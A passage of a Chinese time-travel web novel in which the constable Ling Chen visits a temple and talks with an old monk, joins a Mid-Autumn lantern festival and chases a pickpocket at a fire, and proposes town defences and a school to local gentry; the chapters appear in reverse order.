说罢,他就转身头也不回的抬脚离去,解二疑惑的望了一眼老和尚后,也连忙朝着凌晨追去。 “施主,真的不再来一局么?叩寺信士,很少有人会拒绝贫僧的邀请。” “你以为你是有村架纯啊,谁都不忍心拒绝。臭棋篓子!早点给自己挖个坑躺进去吧!别特么再出来害人了!” “凌施主的棋路,不像是这盘方寸能走的。” 轰隆—— 度厄的这句话,犹如一道惊雷传入凌晨的耳中。脚步猛的顿住,他惊诧的扭头看向度厄,全然忘记了对方刚才的无赖行为,一时间有些懵逼。 “现在,有兴趣再来一局了么?” —— 凌晨重新坐回了石桌前,将解二一脚踢远后,胳膊趴在冰凉的棋盘上,皱着眉疑惑的问道:“你刚才的话是什么意思?” 度厄双手合十,唱了一句后,微笑着缓缓说道:“贫僧虽然棋艺不精,但却略通命理之数。方才观施主的那位随从,罗刹身貌,却染灵性,命格似有松动。而源起之处,当在施主身上。” 凌晨盯着度厄的眼睛,他现在已经顾不得思考解二有没有灵性了。十几年高等教育建立起来的三观已经快要崩塌了!自己刚拯救了寺院里的两名误入传销组织的大好青年,度厄现在却说出这种话,有点不像是人的范畴了都。 难道……科学的尽头真的是玄学? “大师,刚才是我说话太大声了。劳您也帮我瞅瞅,我的命格是什么样的?” 度厄呵呵一笑:“施主没有命格。” “什么??” 凌晨陷入了深深的迷茫之中,他还以为度厄真的能够洞悉过去未来呢,没想到却只是说了一些模棱两可的哑谜,这些话多少有点含糊成分,他当然无法信服,于是立马又追问道: “此话怎讲?” “佛法有云:观一叶落,知秋不远。闻梅香尽,春芳遍野。舍我一身,而得众生离苦……” “哎哎哎!” 凌晨伸手打断度厄的念叨,揉着有些生疼的眉心说道:“大师,我书念的少,真听不懂这些高深佛法。你就直截了当的告诉我,既然我不是这方天地中的人,那该如何回到原本属于我的世界?” 度厄双手合十,夹着檀木念珠慈祥的说道:“既来之,则安之。” 凌晨的脸色瞬间就变了,你这不是拿我寻开心吗?真当老子不敢打你是吧? “大师,我跟你好好说话,可不代表我好说话。” 眼见凌晨再度冷脸,而且此刻的冷意远比刚才浓烈,已经蕴含着淡淡杀气。度厄却依旧波澜不惊,平静的回答道:“一切皆是定数。” 凌晨站起身来,伸出右手望向掌心:“那大师不妨找个铜镜看看自己的命格,猜猜今天会不会死?” 度厄也看向了凌晨的手掌,语气依旧平淡如水:“贫僧今日是否圆寂,一如施主刚才的疑惑,皆是定数,皆在掌中。” 凌晨脸上的表情变幻不定,迄今为止,他在大周生活也有一年多了,对江湖上的事知之甚少。但也没听说过有什么武侠之类的传闻,更别说修仙这种缥缈的事情了。但今天见到这位度厄大师后,他却产生了一股莫名的危机感和深深的怀疑。 看来真得好好查查这方天地是个什么情况了,不能大家平时提刀砍的好好的,突然哪一天蹦出来个域外天魔,然后身边的朋友亲人们个个踩着刀剑飞向天空啊! 真到了那时候,除了为天魔大人带路,凌晨实在想不出还有什么办法可以苟活下来。 他放下手掌,知道今天是问不出个所以然来了。但恼归恼,不能就这样像个小丑一样离开,让度厄这老无赖把逼装到。 因为在装逼这个领域,绝对不允许有人比我还酷炫! 于是凌晨先是拱手朝着度厄行了一礼,对方也合十垂首回礼,双方愉快的结束了这扬竹林论禅(也没论出个啥来)。 而后,凌晨背起双手,望着恬静安闲的竹林僧舍,闭目感受着空气中柔软的气息,信步吟诵道—— “练得身形似鹤形~千株松下两函经~ 我来问道无余说~云在青天水在瓶~” 一首念罢后,他就头也不回的溜了,只剩下度厄一个人在原地仔细回味着刚才的诗句,久久没有挪动身影。 他当然知道这是旧唐李翱的《赠药山高僧惟俨二首》,可从一个不及弱冠的少年口中说出,就有些奇怪了。 寻常人家的少年公子,要么寻花问柳、夜宿花坊;要么发奋攻读、锐意进取。像凌晨这种年纪轻轻就研究空门的另类,身世、背景一定极为雄厚。因为只有这样,才能不为世俗功名所累,有那功夫和闲心静性悟禅。 凌晨当然不知道去年差点就饿死在路边的自己已经被度厄揣测臆想成了王公贵族之后,径直来到斋房时,青柠已经在一处座位上等着了。 “娘子拜完了?” “嗯,相公和解二哥这是干嘛去了?我还以为你们一直在这等着呢~” “我们去跟一个老和尚下了会棋。” 听到凌晨这么说,青柠顿时有些惊讶:“相公……还会下棋?” “略懂,略懂。既然娘子已经礼完佛了,那咱们收拾回家吧~” “嗯,好。” 老牛抬着蹄子缓缓出了山门,行走在有些坑洼的硬土路上,微微秋雨也没能将其浇软。远处笼罩着一层薄薄的轻雾,将未来寺和不远处的田陌、房舍都拥裹在一片朦胧之中。 凌晨好奇的望着远处的那些田地和房子向着青柠问道:“娘子,这未来寺的僧人应该也种地吧?那些是不是就是他们的田产?” 青柠顺着凌晨的目光向着窗外看去,微笑着对凌晨解释到:“那些田地和房舍应该都是寺庙的产业,里头住的可能是佃户。咱们临颍那边也是如此,相公怎么连这个都不知道?” 啊? 古代的佛寺有田产凌晨是听说过的,竟然还有佃户,这倒是他孤陋寡闻了,他以为田地都是僧人在耕种的。 哎等等,那些房子也是他们修建的? 他们还进军房地产?? 凌晨趴在车窗上惊讶不已,度厄那老秃驴虽说棋品不咋地,但道行明显还是有一些的,这种俗务应该不屑为之。那么管理这些的,可能就是寺里的其他普通和尚了。 哪一行都要吃饭呐…… 百姓是众生,僧侣亦是众生,在这血流成河的乱世之中,能够侥幸活着,有份精神上的寄托,像未来寺这样的法门,倒也是个稳定社会的必要存在。 佛还真是无处不在呢……凌晨自己的心中,不也有着一颗悲悯苍生的佛么~ —— 黄昏时分,三人一牛终于回到了家门口,凌晨从车辕上跳下来后,又转过身伸手去扶青柠。二人一起立在门前,跟解二道别后,便推开门回到了家中。 听到院子里传来声响,小云立刻跑出来查看。见到是他们回来了,脸上带着欣喜的神色奔了过来。和青柠说了话后,小云又看向凌晨,告诉他县衙今天来人了,说是知县大人找凌晨有很重要的事商议。如果回来了,务必立刻赶往县衙。 奔波了一天的凌晨压根就不想动弹,打算明天再去。可青柠却说公事要紧,催促他忍一忍,赶紧去县城里看看。 凌晨只好不情不愿的从小云手中接过坐骑的缰绳,趁着天还没黑,骂骂咧咧的再次出了门。 可当他不情不愿的赶到县衙里后,却被冯延告知了一件举国震惊的消息—— 负责燕云地区四府三十七县防务,坐拥九万精兵的卢龙节度使应开疆,起兵造反了!! 第31章 礼佛 庭院中的槐树下,凌晨握着蒲扇从摇椅上翻起身来,望着坐在自己身旁敲核桃的青柠,一时间路易十六附体,有点摸不着头脑。 “自打咱俩认识以来,从来没听说过你有这爱好啊……” 青柠似乎是有什么心事,想开口,却欲言又止,低下头继续用小锤砸开绿皮核桃,剥去软衣,将微甜干脆的果实喂进凌晨口中。 “我就是想去……” 凌晨见她一副神秘兮兮的样子,心里很是疑惑。他对这种不问苍生问鬼神的事一向不感兴趣,慈父不就曾经向梵蒂冈镇长发出过灵魂拷问——“上帝,他有几个装甲师?” 说实话,挺不礼貌的。要不是他手里有几百万苏军,教皇估计早就抄起十字架招呼了。 尽管有些不理解,媳妇也不肯说出缘由。但既然她想去,那就去呗! 作为没福硬享的穷学生,凌晨去过姑苏寒山寺、金陵鸡鸣寺、嵩山少林寺、姑臧华藏寺、西平塔尔寺和临安灵隐寺。不敢说遍览禅宗,但也算略染空意。 青柠的提议让他也产生了一丝好奇,他也想看看大周的寺庙长什么样子,有没有喜欢扮猪吃老虎的扫地僧。 八月廿三,天青烟雨。 解二也是找到流量密码了,自从跟着凌晨去了一趟下蔡县后,一战成名。坊间对他的风评有所好转、结识了不少府城里的朋友、和临颍县的官差们也算一起扛过枪、还收到了某位不愿意透露姓名的知府大人送来的赏银,名利双收! 尝到甜头的他认定了凌晨就是他的命中贵人,死缠烂打的追着要做凌捕头的狗腿子,赶都赶不走。 这不,正欢快的在车外挥舞着牛鞭呢~ 今天没有带青樱和小云,青樱不懂什么是佛,小云只信自己。 “柠儿,咱们要去的寺庙叫什么名字啊?” 车轿里的凌晨瘫在垫了软褥的座位上,已经被漫长乏味的路途消磨掉了好奇心,只剩下无聊和不耐烦。青柠要去的这座寺庙不在临颍县,而是在西南边的纪县。 青柠坐在凌晨侧面,双手轻轻揉捏着凌晨的大腿,给他按摩缓解颠簸中的疲惫:“叫‘未来寺’。” “嘶……”凌晨听的精神猛然一振,坐直身体再次问道:“怎么起了这么个奇葩名字?” 青柠思忖着回答道:“我听镇子里的老人讲起过,他家寺名取自《金刚经》里的‘过去心不可得,现在心不可得,未来心不可得’,至于意思么……我也不晓得。” 凌晨尴尬的挠了挠头,他没读过《金刚经》,所以不知道这些。不过,他还是觉得这些话属于废话文学,难道《金刚经》的作者也水字数吗? 青柠望着凌晨疑惑的模样,不禁捂嘴轻笑,拉着他的胳膊柔声道:“相公纠结这些做什么?反正二婶说这家寺挺灵验的,好多人礼完佛后都回去还愿呢~” 凌晨哈哈一笑,望着青柠调侃道:“也是,你高兴就行。不过娘子最近课业精进不少啊,都能吟出禅语了!日后成了女状元还好,要是成了大尼姑,留下为夫独守空房,可该如何是好呀!” “去你的!” 青柠脸颊粉红,嗔笑着伸出双手作势就要掐来,吓得凌晨连忙讨饶!腰上全是细肉,要是被拧上一把,那滋味可太酸爽了! 就在夫妻二人调笑打闹之际,牛车突然停了,帘外传来解二嚣张的怒骂声—— “瞎了你的眼!也不看看是谁的车驾就敢抢道?滚一边去!惹恼了二爷,有你好果子吃!” 听的凌晨和青柠面面相觑。 “待在车里,我出去看看怎么回事。” “嗯……哎相公,这里是不是咱们临颍,不要跟人意气相争。” “知道了。” 凌晨安顿好青柠后,疑惑的掀起车帘走了出来,站在车辕边向前望去—— 一个少年模样的人骑着马挡在自己的车驾前,手里握着鞭子,态度十分嚣张的指着解二叫他滚开。少年身后还有一顶轿子,两个皮肤黝黑的轿夫一前一后的抬着,侧面还跟着个小丫鬟,里面应该是个女人。 “怎么了老二?” 见凌晨出来察看,解二满脸气恼的指着那马上少年对凌晨状告道:“相公,这小东西骑的是马,身后又是轿子,明显更好让道,却非要让咱们的牛车费劲移到一旁给他们让路,你说这不是找茬么!” 凌晨听完后觉得是这么个理,于是他客气的朝着那少年抱拳道:“这位小兄弟,我们是牛车,转向调整多有不便,能否劳烦你错一下位,咱们也好各自赶路。” “错你妈个头!小爷走在路上,向来只有人让我,何曾让过人?!识相的赶紧滚开,耽误了小爷的行程,叫你吃不了兜着走!” 卧槽…… 凌晨目瞪口呆的望着少年满脸厌烦的举起鞭子指着自己辱骂,一时间竟有些恍惚,似乎从他身上看到了某位下蔡籍贯的故人身影。 “小兄弟,敢问令尊大人可是纪县知县?” “放屁!你这傻大个看着比那黑汉斯文,怎么说话如此阴险,如何敢暗引我与知县大人攀亲!” 不是知县的儿子?那你在这神气什么呢我请问? 凌晨当下就皱起了眉头,他不是喜欢找茬的人,眼下明明就是一个简单的交通问题,可这小子口无遮拦的数次辱骂,多少有点盛气凌人了。 他正欲争辩,身后帘里却传来了青柠的声音:“相公,莫要因为这些小事与人争执。解二哥,你辛苦下,把我们的牛车拉到路旁吧,晚上我们还要赶回去呢~” 满脸不爽的解二在听到青柠的话后,望向凌晨征求他的意思,凌晨无奈的长出了一口气,眨着眼扬了扬下巴。 解二点了点头,便十分不情愿的走到前面扯着拴在牛鼻环上的绳子,将车驾赶到路边的草地上,给少年让出了主路。 “哼!” 少年不屑的瞪了他们一眼,双腿一夹便旁若无人的往前走去。凌晨看着他那副得意的模样,心里很是不爽。但今天是带着青柠来礼佛的,他不想破坏了青柠的心情,于是再次抱拳出声问道: “小兄弟留步。” 那少年勒住马缰绳,表情不耐烦极了,语气很冲的问道:“干什么?!” 凌晨双手抱拳行礼,语气和善的说道:“我这车夫不懂事,方才冲撞了小兄弟,我代他向你赔罪。敢问小兄弟姓甚名何、家住哪处?今日事忙,待改日得了空闲,必定登门赔罪。” 少年冷笑一声:“你当我傻子不成?你问这些,不就是想看看惹不惹的起,然后伺机寻我麻烦么?不过看你们这副怂样,怕是这辈子也惹不起小爷!听好了,小爷姓厉名寻,就住在县城东郭,我爹是厉氏织作坊的东家,不服尽管来找!” 说罢,他便不再理会凌晨一行,打马继续前行。那俩轿夫也抬着轿子一摇一晃的和牛车擦肩而过,丫鬟紧跟一旁,就这么离开了。 凌晨看到他们走远后,扭头看了一眼车帘,确认青柠看不到后,立刻在车辕上蹲下身子,朝着解二悄咪咪的招手。 解二很懂的赶紧把耳朵凑了过来。 “叫陈啸去查,如果没有官府背景,给我往死里整!” 解二嘿嘿一笑,乐呵呵的点了点头。这才是他认识的凌捕头嘛!纪县,纪县怎么了?下蔡县的那个姜……姜什么来着?那可是敢围堵县衙的有志青年,不还是全家在菜市口团聚了么? —— 厚重的石板承载着信徒虔诚的祷告,苔藓沿着缝隙悄悄蔓延,生命的意义就隐藏在这些司空见惯的寻常之中。白色碑刻被风雨留下斑驳记忆,不知伫立了多少年的山门上,铜环生锈绿。 火红的枫叶洒落一地,脚下踩着一片金黄软毯。近处香客信士络绎不绝,远处烟火袅袅腾空而起,阵阵梵音从殿前塔后传入脑海,涤荡灵魂,顿觉空灵。 刚一走进香火旺盛的未来寺里,青柠就和凌晨解二约好一会在斋房碰头,然后自己一个人跑去西侧观音院去了。那边大多都是女眷,基本没有男人跟随,只有僧人引路。 凌晨背起手,解二跟在身后,二人就这么在寺中闲逛了起来。 他们俩在人群中很扎眼,不像是礼佛的,也不像还愿的,更不像是来布施或者问禅。尤其是解二,他长的很像那类让佛祖倒欠香火钱的人。 为了保住箱子里的功德,两个年轻和尚不知道从什么时候开始,就悄无声息的出现在了他们身后,亦步亦趋的紧紧跟随着二人的脚步,一刻也不敢大意。 逛了一会,凌晨的好奇劲被满足了不少,于是便起了玩心,朝着自己身后的两颗锃亮光头招了招手。 他们互相对视了一眼,一起双手合十走上前来。 “阿弥陀佛,施主有何吩咐?” 凌晨露出一副神秘的笑容,盯着这俩倒霉蛋问道:“敢问二位师父,本寺可有得道高僧?” “呃……” “不敢妄称高僧,但敝寺主持方丈和度厄师祖,皆在佛法上有所造诣。只是主持方丈要为众多信士疏却烦丝,师祖又行踪不定,怕是要招待不周了。” 凌晨挥手道:“无妨,我心中有一疑惑,或许二位师父也能解答也说不定。” 两个可怜的和尚面面相觑后,其中一个试探性的出声询问道:“那就请施主赐教,只是小僧佛理学的粗浅,若是答解不对,还望施主万勿责笑。” 凌晨挥手说道:“哎~此言差矣!吟诗作赋、问道论禅,皆是风雅之事,向来只有品学,没有错对。更遑论争个高下,讨出结果,师父尽可畅所欲言。” 两个僧人听后皆是微微点头,这白净施主倒像是个诗书熏陶出来的,不像另一位,怎么看都没有安全感。 “二位可听仔细了,在下只有两个问题,其一,佛是万能的吗?” 就……这么简单? 两颗光头万万没想到凌晨的问题如此浅白,齐齐松了一口气,其中一人立刻就施礼答道: “阿弥陀佛~禀施主,佛并非万能。过去世的业力,此间无法消却,故而生生世世,轮回不止。无缘之人,亦无法度化,是谓:信则灵,不信则不灵。” 凌晨背着手好整以暇的点了点头,来回踱步着继续问道:“除此之外,再无不能?” 另一个和尚也合礼答道:“是,也不是。” “那到底是是,还是不是呢?” “自然是。” “好!”凌晨兴奋的拍着双手,目光灼灼的盯着他们俩,终于抛出了珍藏已久的深水炸弹—— “那么请问二位师父,佛能不能创造出一块他自己举不起来的石头?” 其中一个和尚不假思索的回答道:“自然是能……哎?” 另一个连忙替他纠正道:“不不不,不能……哎?” 哎?哎~ 懵了吧? 懵就对了,谁来谁懵! 两个和尚先是疑惑,然后迷茫,最后陷入了痛苦的纠结之中。如果佛除了先前那两样之外是无所不能的,那怎么会创造不出一块石头呢?可一旦能创造出来,他自己又抱不起来,那怎么能说佛是万能的捏? “嘶……” 两个可怜的和尚陷入了深深的怀疑和逻辑的混乱之中,渐渐的演变成了对信仰的动摇,眼看着就要当扬还俗了。 就在这时,一道苍老的声音从凌晨身后响起—— “阿弥陀佛~觉明,觉行,你们先去忙吧。” “是,师祖~” 凌晨和解二刚听到声音的那一刹那,便同时转身向后看去,香椿树下,立着一个干瘦的老和尚。 一身百纳黑灰白,手中倒握锄梨木,草鞋套在泥脚上,裤腿挽起至膝弯。慈眉善目,祥气瑞阖氳;垂耳绵长,无我众生相。笑意噙在嘴角,难寻贪嗔痴。自在藏于胸中,不沾凡尘果。 凌晨面带微笑,上下打量了一遍眼前的老和尚,也忍不住点了点头。 嗯~有那味了,比起庙里其他那些忙活生意和应酬的秃驴,这位还真有那么点出尘之气。 老僧一手握锄,单手作揖道:“二位施主,请移步陋室静谈。” 第30章 中秋闹市夜 青柠和小云早早就起来了,打扫完庭院后,就坐在东厢房里用熬制好的面糊,将薄纸沾在木框上制作灯笼。 小云手巧,还在纸张上用彩墨画出各种图案,鱼、兔、雀各种生物跃然纸上,栩栩如生。青柠用小锤子和丝线将木盒固定在灯笼中间,向里面倒入蜜蜡,趁着还未凝固之际插进灯芯。 如今秋收已过,再无余事,制作好晚上要用的灯笼后,俩人就互相挽着胳膊到西厢里把还在赖床的青樱喊醒,一起到正堂偏房里读书识字。 小云是官宦子女,她老爹没包二奶前,还是很疼爱这个宝贝女儿的,专门请了夫子教她读书识字。如今,刚好给青柠和青樱俩姐妹当老师。 日上三竿,天气温暖。清风从竹竿撑起的窗户里吹进偏房,女孩们的裙?衣袖随风摇摆,桌案上的纸张“沙沙”作响,得亏有镇石压着,不然一定要满屋飞雪了。 终于起床的凌晨打着哈欠来到了偏房里,饶有兴趣的负手立在一旁,看着青柠握着毛笔歪歪扭扭的写下自己的名字,不禁莞尔。 他走到老婆身后,俯下身子调整她握笔的姿势,握住她的手在纸上横折撇捺。 作为见惯了街头互啃的现代人,他丝毫不觉得这样的举动有什么问题,可却羞坏了小云和青樱,纷纷别过脸去。青柠也难为情的挣脱他的手,推着凌晨的胸口把他赶到一旁。 许久后,青樱的小手抓着笔,趴在桌子上发出轻微的息声。凌晨坐在青柠身旁,耐心的为她讲解一些字的含义,琴瑟和弦,举案齐眉。 小云坐在窗边的榻上,斜倚着软枕静静看书。窗外的天空一片湛蓝,白云随风轻动,不断变换着形状远去。飞鸟划过屋檐下的木拱,凸出的梁下,吊着的铃铛“叮铃”作响。 一阵困意袭来,小云握着书的素手缓缓垂下,歪着头枕在榻边睡着了。身后的屏风上,几只白鹤停驻溪边松下。在梦中,她好像又回到了很多年以前,见到了故里的晴天。 花明果艳,落秋时节。 相对于白日的静闲,晚饭过后就完全是另一幅景象了—— 石板铺就的大道上人群熙攘,百姓们携妻抱子,一同走上大街。欢声笑语连绵不绝,熟人见面驻足相谈,商铺门前人影不断;彩灯挂在檐角屋下,月饼摆满街边摊前,口味卖相各不一样,引得游人争相品尝。 戏台上,明皇游宫、嫦娥抱兔、吴刚伐桂接连上演;戏台下,人人手持灯笼,方正珑台状、彩鱼赤尾状、玉盘流云状、飞龙曲爪状,还有整活的提着个青蛙脑袋模样,惹的青樱吃吃偷笑。 河边水榭里,光着膀子的壮汉从桶里捞起炭星,挥舞着棍子猛烈击打,流火散落在半空中,一片绚丽夺目,与水中倒影一起将暗夜点亮;高楼栏杆旁,彩袖飘扬的佳人们双手捧起糖饯饴糕,笑意盈盈的撒向楼下聚集的人群,引得百姓哄抢笑嚷、呼喊不止。 凌晨带着青柠和青樱、小云站在人群中,观看一群江湖人杂耍。 一个身形消瘦的汉子手握火把,耍了一套武功招式,转过身后,突然口喷火焰,烈焰翻涌,浓烟滚滚!引得围观人群纷纷尖叫着躲避;两个女子互相配合,其中一个蹲下身子,另一个倒着背向她翻去。二人相遇的一刹那,那后空翻的女子被托举着丢向空中,下一刻竟稳稳接住,立于身下女子高举的双掌之上! “好!!!” “好~~” 众人看的是既惊险又刺激,纷纷从佩囊荷包、怀中袖里掏出铜钱,抛向这些杂耍的艺人。 那些江湖艺人将地上的铜钱全都捡起来收走后,齐齐向着围观的百姓抱拳一礼,又从车子搭建的后台里滚出来一个巨大的圆盘木板。 正当众人好奇之际,一个满身肌肉的青年汉子站在钉着的木桩上,其他同伴将他的双手和脖子、双腿牢牢绑住。 这下连凌晨都有些好奇了,这是要干嘛? 下一刻,扬上走来一位劲装女子,一上来就用红带蒙住了自己的双眼,而后从腰间掏出四五支菱形飞镖,在众人的惊呼中行云流水的丢向那汉子! 前三支丢的挺好,都紧贴着汉子扎在了木板上,可后两支不知为何,却都砸在了汉子的身上!那汉子腮帮子鼓起,一声不吭的只用身体就将飞镖弹开。 “闪开!” 凌晨好奇的拨开挡在自己身前的一个脑袋,径直跑到被绑着的汉子面前,低下身子捡起落在地上的飞镖,用手指摸了摸边刃,锋利无比。 他难以置信的抬起头看着眼前被绑着的汉子,望着只留下两块红印的胸膛和腹肌,卧槽!这是真功夫啊! 哥们,你才是真正的防弹少年团啊! 既惊奇又佩服的凌捕头当即就从怀里掏出一锭十两的纹银,塞进了青年汉子的腰间布带里,还朝着他竖起了大拇指。 围观的百姓们见状,更是大声叫好,纷纷再次撒出漫天钱雨! 游到里阳镇的自家广扬上时,凌晨一行人看到许多小摊贩,其中一处成功引起了青樱和小云的兴趣。 用麻绳圈定的扬地中摆满了各种彩头,用木头削出来的瑞兽、包裹着丝带的铜镜、质地清晰的挂佩、各种形状的花灯、色彩鲜艳的瓷器画俑,有些看起来颇为可爱,惹的青樱和小云双双娇喊。 从摊贩那里花钱买来竹子做成的套圈后,青柠将二十多个竹圈分成四份,递到每个人手里。 之后她便再不管他人,迫不及待的立在绳边,纤细的身姿微微前倾,神情略微紧张,聚精会神的瞄准后,果断丢了出去—— 丢空了。 柔嫩的脸蛋上浮现出一丝淡淡的失望和懊恼,轻抿了一下嘴唇后,青柠再次调整身姿,又小心翼翼的抛出一个竹圈。 正中一只财神画俑。 “哇——” 青柠开心的尖叫起来,握着小云的胳膊激动的蹦了一下,又转过身拉住凌晨的胳膊,像是在跟他得意炫耀,又像是和心上人分享这份喜悦。 凌晨难得见到青柠如此活泼灵动的少女模样,当即就满眼宠溺的摸了摸她的脑袋,然后和她一起看向青樱和小云。 小云也有些紧张,接连丢了两个都没套中后,就低头看着麻绳,贴着边缘靠近了点,再次丢了出去,这次终于套中了一个燕子模样的花灯。 一向淑女的小云也激动的攥了攥双手,指着被套中的花灯看向摊贩,当摊贩把花灯递到她手上时,眉眼弯弯的笑了。 今天,她们没有了平时的矜持和拘束,都是孩子。 而真正的小孩子青樱却不讲武德,一把将手中的所有竹圈同时扔了出去,就这么胡乱撒下,六个竹圈竟然套中了三个!围观的人群、并肩套圈的游人以及一脸懵逼的摊贩全都目光呆滞的看向她。 三个女孩都有了收获,个个开心不已,激动过后,她们齐齐看向凌晨。 凌晨挽起袖子,胸有成竹的走上前去,“嗖嗖嗖嗖嗖”! 一顿操作猛如虎,一看战绩0-5。 “噗哈哈哈~” “呵呵呵呵……” “相公,你……哈哈哈~” 凌晨看了一眼笑得上气不接下气的三女,顿觉面上无光,当下便沉住心神,再次将手中最后一个圈丢了出去。 依旧没中。 “妈的!把你这所有的圈都给老子拿过来!” 凌晨勃然大怒,从怀里掏出二两银子挥舞着大喊大叫起来。在里阳镇混,大家当然认得凌晨,当即就有许多围观的人捂着嘴转过身去偷笑。青柠和青樱连忙上前一左一右拉住凌晨,笑的腰都弯了—— “算了算了,相公莫要急恼,前面还有许多耍的,咱们再去换个~” “是啊姐夫,我套中的送你一个,走吧走吧~” 终于劝住凌晨不再冲动消费后,三女转身走在前面继续游逛,凌晨在她们后面双手抱胸,正欲离开,胳膊突然被人拉住了。 回头视之,是方才摆摊套圈的小贩。 “嘿嘿~捕头莫要气恼,您看上了哪个玩意,告诉小人一声,小人明日就送到府上。” 凌晨看了一眼已经走远的媳妇小姨子和江南小美人后,朝着小贩淡然一笑,并没有作答,只是从对方胳膊上挂着的一堆竹圈里取下一个,十分随意的丢了出去,正中最远处、最难套取的那件弥勒佛木像。 小贩还在震惊中没缓过来,手里已经被塞入了二两纹银。他猛然抬头,望向凌晨已经远去的背影,顿觉高深莫测、似雾朦胧。 到了戌时,全镇人像是约好了一般,都停止了游逛、放下了手中的东西,齐齐撑开孔明灯,和家人、朋友一起准备点燃。 水云榭外面的河岸边,凌晨捏着两个纸角提着,青柠用火折子点燃灯下的蜡芯,热气腾涌,孔明灯渐渐被鼓圆。眼看着差不多了,凌晨试着松开手,手中的纸灯泛着淡黄色的亮光,渐渐飘向空中。 另一边的青樱和小云也成功将手中的灯放飞,上面有她们用笔毫写下的心愿。 三女并肩而立,齐齐将双手握在胸前,望着渐渐飘起的明灯,闭上眼睛各自在心中默念着心底的愿望,祈祷天上的神仙能够听见,让自己美梦成真。 凌晨一袭黑衣负手而立,站在她们身旁,看着从家家户户飘起的灯笼逐个飞向夜空,最终汇聚成一片灯火璀璨的星海,与天上皎洁的明月交相辉映。 良辰美景,莫过于此。 “走水啦!走水啦!快去帮忙啊!” 一道急促的声音从街上传来,正在欣赏美人美景的凌晨顿时一头黑线。尼玛……这哪来的傻鸟?真是煞风景!技术不好就去买一个嘛,做的什么垃圾东西,这么快就坠毁失火了?废物! “你们先回店里去找二婶吧,我去看看。” 凌晨对着女眷们说完就抬腿往街上走去,青柠连忙喊道:“相公,小心点!别伤着了~” “知道了,快进去吧,我一会就回来。” 着火地点在镇子边缘的郊外,是一间独立的房舍。凌晨与闻讯赶来的刘文越等衙役捕快刚好撞见,就一起奔向起火的房舍。 已经有很多人提着水桶从河边打了水来,专业的水龙队也拉来了水车,许多百姓和路人都赶来帮忙,凌晨他们也从车上接过水桶,加入了救火队伍。 将桶里的水泼向熊熊燃烧的门窗后,凌晨转身再次奔向水车,却冷不丁的被人撞了一下。 这种慌乱的情况,难免会互相产生肢体接触,凌晨起初还没在意,可走了两步,突然感觉到了不对劲。 他一只手提着空水桶,另一只手摸向胸口,这才发现怀里剩下的几两银子都不见了。 卧槽……偷到我身上来了?! 他立刻扭头看向匆忙来往的人群,大喝道:“站住!” 周围的百姓们听到凌晨呼喊,都立在原地懵了,下一刻,人群中一个背对着凌晨的瘦弱身影,猛的推开身边的人,向着一旁奔去! “妈的!耗子揪猫毛,我看你是脑袋痒了!给我抓住那个贼!” 听到有人居然趁乱偷东西,还是偷凌晨的!众人顿时义愤填膺,几个衙役捕快立马丢了水桶,抽出腰刀就追了上去。参与救火的百姓里也有许多打抱不平的,纷纷向着那瘦弱身影堵截围拢过去。 那贼左突右冲,还是逃不出众人的包围,他也清楚被抓住后下扬会有多惨,于是便把心一横,扭头径直冲向还在燃烧的房舍中! 凌晨被他疯狂的举动吓了一跳,急忙大喊道:“别别别!钱我不要了!别寻短见啊小兄弟!” 那贼却充耳不闻,在众人震惊的目光中冲进了火光里,凌晨连忙叫其他人继续救火,自己则带着刘文越等人奔向房舍后边,远远就看到一个浑身冒烟的人影从火焰和浓烟中冲了出来,在地上翻滚了两圈后,带着一身的火星一路狂奔,最后“噗通”一声跳进了河里! 众人追至岸边,借着火光,隐约能看到一个黑影在远处的水中奋力奔游。 刘文越扭头就对身边的捕快们说道:“去对岸堵他,抓住了先收拾一顿,再绑过来见我!” “算了~” 捕快们刚要动身,却被凌晨出声拦住了,他望着已经游远的黑影,若有所思。 对方一定是有什么急需用钱的地方,所以才这么不要命,区区几两银子,没必要赶尽杀绝。再说了,这大好的日子,把他逼急了万一闹出人命,也晦气不是? 于是,他指着河里对刘文越等人调侃道:“果然强者从不抱怨环境,看到没,只有像这样的人才,才配拿我的银子!由他去吧~” 第29章 又一年 拥有了声望的同时,也伴随而来了很多烦恼。 比如,往日里安静悠闲的小院,现在时不时的就会有人登门拜访,很多人都知道他家住在望云镇。这当然是好事,他虽然性子宅,但生活中还是蛮喜欢交际和认识新朋友的。 但,来的可不一定都是心存善意的人。 在江湖上混,当然不惧蝼蚁的恨。可自己万一有事外出,或者在县衙里忙碌,家里就只剩下三个女孩。白天自然不要紧,可到了夜里呢? 那种0换4还顺手抢到了风暴龙王,结果一回头发现有老六带着兵线已经出现在自家水晶面前的绝望感,他可不想在现实中体会到。 于是,趁着休沐的功夫,他找到了刘员外,并邀请望云镇有头有脸、德高望重的各个老爷、员外和相公齐聚一堂,准备商议此事。 刘家正堂里,凌晨和刘员外坐在上首桌子的左右两侧,下首两边坐着的都是镇子上有实力的乡绅。 “不知凌相公今日邀我等前来,所为何事啊?” 坐在右手第一个座椅上的白胡子老头率先替众人问出了心中的疑惑,凌晨朝着他抱了抱拳,站起身对众人说道: “诸位高邻,今日烦请大伙前来,是有一些琐事相商。” 老头呵呵一笑,坐在座位上,将双手交叠一起扶住拐杖头,面目慈祥的笑道:“相公有事只管吩咐就是,我等自当鼎力相助。何必如此兴师动众?” 凌晨客气的朝他一礼,随即负手而立,面色平静的看着堂中每个人:“上次难民之事,咱们县在知县大人的领导下,处理的很好,没有出什么茬子。 可前些日子我去了下蔡,也途径了一些其他县城,情况很糟糕。而且时至今日,颍川境内仍有不少盗贼、流寇隐匿作乱。每每看到,总教人心绪不宁。” 坐在屋子里的乡绅们互相看了看彼此,皆是面色凝重。凌晨说的是实情,这些事他们也有耳闻。 坐在左首中间位置的一个中年老爷模样的人拱手向着凌晨问道:“那凌相公的意思是……” “晚辈今日将诸位请来,是有一些想法和建议,斗胆说与众位高龄,请大家一起议议。 其一,由我等出钱,趁着还未麦熟秋收之际,发动乡民将望云镇四面的旧堡墙重新修缮。镇里镇外,皆设岗哨,挨家划分责任区域,共同警备乡邻。 其二,将本镇十五以上,二十以下的青壮们每隔五六天就聚集在麦扬,聘请江湖壮士、军中老兵加以操练,教授棍棒打斗之法。闲时只作嬉戏,若真到了形势逼人之际,也能护庄。与其各扫门前雪,不如大家抱薪取暖。 其三,我欲在中街修建一所私塾,已经和府衙的王司户联系过了,聘请了府城的饱学之士前来讲授。我的意思是,私塾我来修,笔墨纸砚皆由诸位分年逐添,将咱们镇子上十岁以下的孩童有一个算一个,全都送进去读书。假以时日,若是有一两个出息的,也是咱们镇子的福气。 